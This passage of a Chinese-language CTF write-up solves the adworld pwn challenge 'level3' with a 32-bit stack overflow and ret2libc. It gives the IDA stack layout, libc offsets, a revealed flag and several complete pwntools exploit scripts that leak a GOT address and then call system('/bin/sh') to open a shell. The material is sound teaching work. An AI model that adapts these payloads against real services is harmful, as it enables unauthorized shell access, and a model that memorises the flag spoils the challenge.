    p.sendline(payload)
    read_addr = u32(p.recv()[:4])     
  • 上面为什么是0x88+4看IDA stack情况:
  • -00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
    -00000088 ;
    -00000088
    -00000088 buf             db ?
    -00000087                 db ? ; undefined
    -00000086                 db ? ; undefined
    -00000085                 db ? ; undefined
    -00000084                 db ? ; undefined
    -00000083                 db ? ; undefined
    -00000082                 db ? ; undefined
    -00000081                 db ? ; undefined
    -00000080                 db ? ; undefined
    -0000007F                 db ? ; undefined
    -0000007E                 db ? ; undefined
    -0000007D                 db ? ; undefined
    -0000007C                 db ? ; undefined
    -0000007B                 db ? ; undefined
    -0000007A                 db ? ; undefined
    -00000079                 db ? ; undefined
    -00000078                 db ? ; undefined
    -00000077                 db ? ; undefined
    -00000076                 db ? ; undefined
    -00000075                 db ? ; undefined
    -00000074                 db ? ; undefined
    -00000073                 db ? ; undefined
    -00000072                 db ? ; undefined
    -00000071                 db ? ; undefined
    -00000070                 db ? ; undefined
    -0000006F                 db ? ; undefined
    -0000006E                 db ? ; undefined
    -0000006D                 db ? ; undefined
    -0000006C                 db ? ; undefined
    -0000006B                 db ? ; undefined
    -0000006A                 db ? ; undefined
    -00000069                 db ? ; undefined
    -00000068                 db ? ; undefined
    -00000067                 db ? ; undefined
    -00000066                 db ? ; undefined
    -00000065                 db ? ; undefined
    -00000064                 db ? ; undefined
    -00000063                 db ? ; undefined
    -00000062                 db ? ; undefined
    -00000061                 db ? ; undefined
    -00000060                 db ? ; undefined
    -0000005F                 db ? ; undefined
    -0000005E                 db ? ; undefined
    -0000005D                 db ? ; undefined
    -0000005C                 db ? ; undefined
    -0000005B                 db ? ; undefined
    -0000005A                 db ? ; undefined
    -00000059                 db ? ; undefined
    -00000058                 db ? ; undefined
    -00000057                 db ? ; undefined
    -00000056                 db ? ; undefined
    -00000055                 db ? ; undefined
    -00000054                 db ? ; undefined
    -00000053                 db ? ; undefined
    -00000052                 db ? ; undefined
    -00000051                 db ? ; undefined
    -00000050                 db ? ; undefined
    -0000004F                 db ? ; undefined
    -0000004E                 db ? ; undefined
    -0000004D                 db ? ; undefined
    -0000004C                 db ? ; undefined
    -0000004B                 db ? ; undefined
    -0000004A                 db ? ; undefined
    -00000049                 db ? ; undefined
    -00000048                 db ? ; undefined
    -00000047                 db ? ; undefined
    -00000046                 db ? ; undefined
    -00000045                 db ? ; undefined
    -00000044                 db ? ; undefined
    -00000043                 db ? ; undefined
    -00000042                 db ? ; undefined
    -00000041                 db ? ; undefined
    -00000040                 db ? ; undefined
    -0000003F                 db ? ; undefined
    -0000003E                 db ? ; undefined
    -0000003D                 db ? ; undefined
    -0000003C                 db ? ; undefined
    -0000003B                 db ? ; undefined
    -0000003A                 db ? ; undefined
    -00000039                 db ? ; undefined
    -00000038                 db ? ; undefined
    -00000037                 db ? ; undefined
    -00000036                 db ? ; undefined
    -00000035                 db ? ; undefined
    -00000034                 db ? ; undefined
    -00000033                 db ? ; undefined
    -00000032                 db ? ; undefined
    -00000031                 db ? ; undefined
    -00000030                 db ? ; undefined
    -0000002F                 db ? ; undefined
    -0000002E                 db ? ; undefined
    -0000002D                 db ? ; undefined
    -0000002C                 db ? ; undefined
    -0000002B                 db ? ; undefined
    -0000002A                 db ? ; undefined
    -00000029                 db ? ; undefined
    -00000028                 db ? ; undefined
    -00000027                 db ? ; undefined
    -00000026                 db ? ; undefined
    -00000025                 db ? ; undefined
    -00000024                 db ? ; undefined
    -00000023                 db ? ; undefined
    -00000022                 db ? ; undefined
    -00000021                 db ? ; undefined
    -00000020                 db ? ; undefined
    -0000001F                 db ? ; undefined
    -0000001E                 db ? ; undefined
    -0000001D                 db ? ; undefined
    -0000001C                 db ? ; undefined
    -0000001B                 db ? ; undefined
    -0000001A                 db ? ; undefined
    -00000019                 db ? ; undefined
    -00000018                 db ? ; undefined
    -00000017                 db ? ; undefined
    -00000016                 db ? ; undefined
    -00000015                 db ? ; undefined
    -00000014                 db ? ; undefined
    -00000013                 db ? ; undefined
    -00000012                 db ? ; undefined
    -00000011                 db ? ; undefined
    -00000010                 db ? ; undefined
    -0000000F                 db ? ; undefined
    -0000000E                 db ? ; undefined
    -0000000D                 db ? ; undefined
    -0000000C                 db ? ; undefined
    -0000000B                 db ? ; undefined
    -0000000A                 db ? ; undefined
    -00000009                 db ? ; undefined
    -00000008                 db ? ; undefined
    -00000007                 db ? ; undefined
    -00000006                 db ? ; undefined
    -00000005                 db ? ; undefined
    -00000004                 db ? ; undefined
    -00000003                 db ? ; undefined
    -00000002                 db ? ; undefined
    -00000001                 db ? ; undefined
    +00000000  s              db 4 dup(?)
    +00000004  r              db 4 dup(?)  # 覆盖这个地址就可以修改函数调用了
    
  • 将各部分结合起来,脚本攻击。解说见后面一份程序:

    from pwn import *
    
    p = remote('220.249.52.133', 54407)
    elf = ELF('./level3')
    lib = ELF('./libc_32.so.6')
    
    payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8)
    
    p.recvuntil('Input:
    ')
    p.sendline(payload)
    read_addr = u32(p.recv()[:4])
    
    bin_cha = int(0x0015902b-lib.symbols['read'])
    bin_addr = read_addr + bin_cha
    
    sys_cha = int(lib.symbols['system']-lib.symbols['read'])
    sys_addr = read_addr + sys_cha
    
    p.recvuntil('Input:
    ')
    payload1 = (0x88+4)*'a'+p32(sys_addr)+p32(1)+p32(bin_addr)  #system函数地址,返回地址1,/bin/sh地址作为system参数传入
    p.sendline(payload1)
    p.interactive()
    
  • ]

其他做法:把libc_32.so.6拖进ida,可以找到write函数和system函数的偏移:
在这里插入图片描述
在这里插入图片描述
寻找"/bin/sh"(用winhex也可以找到)
在这里插入图片描述
write.plt和main.pltt可以在ida中找到
在这里插入图片描述
除了这些以外,我还从别人的wp中学到了方法,如下
from pwn import *
from LibcSeacher import *

p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']

#填充字符+write函数地址+main函数地址+write函数的三个参数,效果:也就是运行write让其输出write的got地址后,又回到main函数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:
",payload1)

#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])

#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']

#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off

#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()
flag:cyberpeace{e808c04302e73cdc5159eef2dcd92f48}
上面的代码在我本地运行均有问题,真正可以工作的是如下的代码:关键的是/lib32/libc.so.6,换成官方的会有问题!!!并且使用了__libc_start_main!
 
#-*-coding:utf-8-*-
from pwn import *
p = process("./level3")
#p = remote("111.198.29.45","36722")
elf = ELF("./level3")
libc = ELF("/lib32/libc.so.6")
#libc = ELF("./libc_32.so.6")
write_plt = elf.plt["write"]
print("write_plt: " + hex(write_plt))

write_got = elf.got["__libc_start_main"]
print("write_got: " + hex(write_got))
libc_main = libc.symbols["__libc_start_main"]
print("write_libc: " + hex(libc_main))
system_libc = libc.symbols["system"]
print("system_libc: " + hex(system_libc))
vulnfun = 0x804844B
p.recv()
payload = 140*b"a" + p32(write_plt) + p32(vulnfun)
payload += p32(1) + p32(write_got) + p32(4)  #write(1,write_got,4)
p.sendline(payload)
write_addr = u32(p.recv(4))
print("write_addr: " + hex(write_addr))

pause()
offset = write_addr - libc_main
system_addr = offset + system_libc
binsh = next(libc.search(b"/bin/sh"))
binsh_addr = offset + binsh
print("binsh_addr: " + hex(binsh_addr))
payload = 140*b"a" + p32(system_addr) + p32(vulnfun) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

(3) 题目小结

这个题目可以说是基础ROP的入门,通过控制返回地址进行多重跳,很有进阶的意义。

(4) 参考文章

计算机原理系列之八 ——– 可执行文件的PLT和GOT

Writeup of level3(Pwn) in JarvisOJ

聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT

0x3 总结

这次这几个题目做了2.3天,感觉收获还是挺大的,其中很感谢一些师傅回答我比较傻的问题,一语惊醒梦中人,期间我也看了网上很多wp,基本都是雷同或者草草了事的,很少有那种新手摸索的过程,因为本人是个菜鸡,难免会有疏漏,希望各位师傅多多包容,然后指出,让我更加深pwn的理解,谢谢。

0x4参考链接

ROP学习:64位栈溢出

linux-pwn基础1

Ret2libc详解

Linux gdb调试器用法全面解析

攻防世界pwn之新手练习区

补:

WriteUp-adworld(攻防世界)-pwn新手区-level3

0xFF 解开压缩包……

3个嵌套压缩包解开后出来两个文件:
level3
libc_32.so.6

0x00 查询文件基本信息

checksec 发现 : 这是个三无软件……

好…… 我们丢下DIE:

32位程序……
没有壳……可以上IDA。

0x01 静态分析

看到main:

跟进vulnerable_function

程序逻辑简单明了……

0x02 攻击思路

看到read可以进行栈溢出攻击……

考虑劫持eip执行system("/bin/sh")……

等等,这个程序里既没有调用system又没有"/bin/sh"字符串。

但是这个程序加载了一个共享库: libc_32.so.6

0x03 分析共享库 : libc_32.so.6

找到system()

找到"/bin/sh"
使用010Editor搜索

("/bin/sh"后面刚好有个0x00)
"/bin/sh" 相对libc_32.so.6
文件头的偏移为 0x15902B (IDA相应地方是代码qwq……)

system 相对libc_32.so.6
文件头的偏移为 0x3A940

所以我们只要想办法知道 libc_32.so.6 的地址
我们就可以成功获取shell……

0x04 泄露 libc_32.so.6 的地址

write 是 level3
调用的外部(共享库中的)函数。

我们可以尝试泄露 level3 GOT 表中的内容来
获取 write 在共享库中的地址。

GOT中 write 对应的条目 在第一次调用 write 函数时会被动态链接器改为
write 的绝对地址

/*操作系统-Linux-浅析GOT与PLT */

可以尝试利用栈溢出来调用write(劫持eipwrite)

/需要的eip位置/

我们write泄露出地址之后还不够,还要通过这个地址调用 system()
才行。
所以我们可以把返回的地址(call的时候eip入栈)
回到vulnerable_function的开头,这样我们就可以在泄露write之后
调用system()

所以我们可以这样
根据vulnerable_function的栈

这样构造payload泄露write

from pwn import *


write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       调用write后返回的地址

write_got_addr = p32(0x0804A018)

leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xa5c0ffee)
# write 的参数传递     1:stdout   指针指向write的got条目  输出的长度

得到write的地址后就可以根据write在libc_32.so.6中的地址计算出
libc_32.so.6的基址,接着就可以计算出system()"/bin/sh"的绝对地址了。

接着我们就可以生成第二次攻击的payload:

write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib


pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(随便填qwq)      传入"/bin/sh" 当作参数

现在就可以写出完整的exp了:

#coding=utf-8
#文件里有中文注释,要指定编码

from pwn import *

qwq = remote("111.198.29.45", 7777)
#                    ip       port

write_got_addr = p32(0x0804A018)
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       调用write后返回的地址
leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xACC0FFEE)
# write 的参数传递     1:stdout   指针指向write的got条目  输出的长度

leak_write_payload = leak_write_payload1 + leak_write_payload2


def get_write_addr():
	qwq.recvline()
	qwq.sendline(leak_write_payload)
	addr = qwq.recv()[0:4]
	return u32(addr)


write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib

pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(随便填qwq)      传入"/bin/sh" 当作参数

qwq.recvline()
qwq.sendline(pwn_payload)
qwq.interactive()

看看效果:

原文地址:https://www.cnblogs.com/bonelee/p/13779909.html